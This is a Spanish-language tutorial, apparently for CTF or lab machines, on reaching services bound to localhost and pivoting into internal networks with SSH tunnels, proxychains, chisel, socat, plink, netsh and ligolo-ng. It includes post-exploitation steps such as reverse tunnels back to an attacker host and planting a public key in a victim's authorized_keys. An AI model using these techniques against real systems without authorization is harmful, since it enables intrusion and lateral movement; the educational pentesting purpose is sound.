Port forwarding y pivoting: SSH, chisel y socat
Cómo llegar a un servicio que solo escucha en 127.0.0.1 o a otra red interna: túneles locales, remotos y dinámicos con SSH, chisel cuando no hay SSH, socat y proxychains.
Muy a menudo, la vía a root está en un servicio que solo escucha en local: un panel web interno en el puerto 8080, una base de datos, una API de Docker. Desde fuera no lo ves; tienes que llevar ese puerto hasta tu máquina.
Encontrar lo que escucha en local
ss -tlnp # o netstat -tlnp en sistemas viejos
cat /proc/net/tcp # si no hay ninguno de los dos (puertos en hexadecimal)
ip a; ip route # ¿hay más redes? (docker0, una 172.16.x.x...)
cat /etc/hosts
Fíjate en lo que escucha en 127.0.0.1 o ::1 y no salía en tu nmap. Esos son los candidatos.
Truco
Para traducir /proc/net/tcp a mano: 0100007F:1F90 es 127.0.0.1:8080 (la IP va al revés byte a byte y el puerto en hexadecimal: 0x1F90 = 8080).
Con SSH
Si tienes credenciales o una clave SSH, SSH es lo más cómodo.
Local (-L): traer un puerto remoto a tu máquina
ssh -L 8080:127.0.0.1:8080 [email protected]
# ahora http://localhost:8080 en tu navegador es el 8080 interno de la víctima
El formato es -L puerto_en_tu_máquina:destino:puerto_destino. El destino se resuelve desde la víctima, así que puedes llegar a otra máquina de su red: -L 3306:172.17.0.2:3306.
Remoto (-R): llevar un puerto tuyo a la víctima
Útil cuando la víctima no puede conectarse a ti directamente o para exponer tu servidor en ella:
ssh -R 9001:127.0.0.1:9001 [email protected]
# en la víctima, conectar a 127.0.0.1:9001 llega a tu 9001
Dinámico (-D): un proxy SOCKS a toda su red
ssh -D 1080 -N [email protected]
Y en /etc/proxychains4.conf, al final:
socks5 127.0.0.1 1080
proxychains -q nmap -sT -Pn -p 22,80,445 172.16.1.10
proxychains -q curl http://172.16.1.10
Cuidado
Por un proxy SOCKS solo pasa TCP. nmap tiene que ir con -sT -Pn (sin ping, sin SYN scan), y es lento: limita los puertos.
Trucos de SSH
-Nno abre shell y-flo manda a segundo plano:ssh -fN -L 8080:127.0.0.1:8080 usuario@ip.- En una sesión ya abierta,
~C(tras un Enter) abre una línea de órdenes donde escribir-L 8080:127.0.0.1:8080sin reconectar. En OpenSSH 9.2 o posterior necesitas-o EnableEscapeCommandline=yes. - Si solo tienes una shell sin SSH pero puedes escribir en
~/.ssh/authorized_keys, mete tu clave pública y ya tienes SSH.
Sin SSH: chisel
chisel es un solo binario (Linux y Windows) que hace túneles sobre HTTP. Súbelo a la víctima y lanza el servidor en tu máquina:
# Tu máquina
./chisel server -p 8000 --reverse
# Víctima: lleva su 127.0.0.1:8080 a tu puerto 8080
./chisel client 10.10.14.5:8000 R:8080:127.0.0.1:8080
# Víctima: varios a la vez
./chisel client 10.10.14.5:8000 R:8080:127.0.0.1:8080 R:3306:127.0.0.1:3306
# Víctima: un proxy SOCKS en tu 127.0.0.1:1080 hacia toda su red
./chisel client 10.10.14.5:8000 R:socks
Con R:socks usas proxychains igual que con ssh -D.
Nota
Usa la misma versión de chisel en los dos lados. Si la víctima es Windows, baja el .exe de la misma release (chisel_x.y.z_windows_amd64).
socat: reenviar un puerto en la propia víctima
Si quieres exponer un puerto local de la víctima hacia fuera (para atacarlo directamente desde tu máquina), y socat está instalado o puedes subirlo:
socat TCP-LISTEN:8081,fork,reuseaddr TCP:127.0.0.1:8080
# ahora 10.10.10.10:8081 llega al 8080 interno
También vale para hacer de "puente" en un pivote: lo que llega a la máquina intermedia se reenvía a una tercera.
En Windows
- chisel.exe, exactamente igual que arriba.
- plink.exe (el SSH de PuTTY) para hacer un
-Rhacia tu máquina:plink.exe -l tunel -pw tunel -R 4445:127.0.0.1:445 10.10.14.5(crea un usuario solo para esto: su contraseña queda en la víctima). - netsh (requiere administrador):
netsh interface portproxy add v4tov4 listenport=8081 listenaddress=0.0.0.0 connectport=8080 connectaddress=127.0.0.1.
Redes enteras: ligolo-ng
Cuando hay varias redes internas y muchos servicios, un proxy SOCKS se queda corto. ligolo-ng crea una interfaz de red en tu máquina y enruta todo el tráfico (incluidos nmap normal y UDP) por el agente que corre en la víctima. Es más montaje la primera vez, pero luego trabajas como si estuvieras dentro de la red. Mira la documentación de la versión que bajes, porque los comandos han cambiado entre versiones.
Qué hacer con el puerto
Una vez lo tienes en tu localhost, trátalo como un objetivo nuevo: nmap -sCV -p 8080 127.0.0.1, abre la web, busca la versión. Paneles internos sin parchear, APIs sin autenticación y bases de datos con la contraseña del fichero de configuración son el final de muchas máquinas.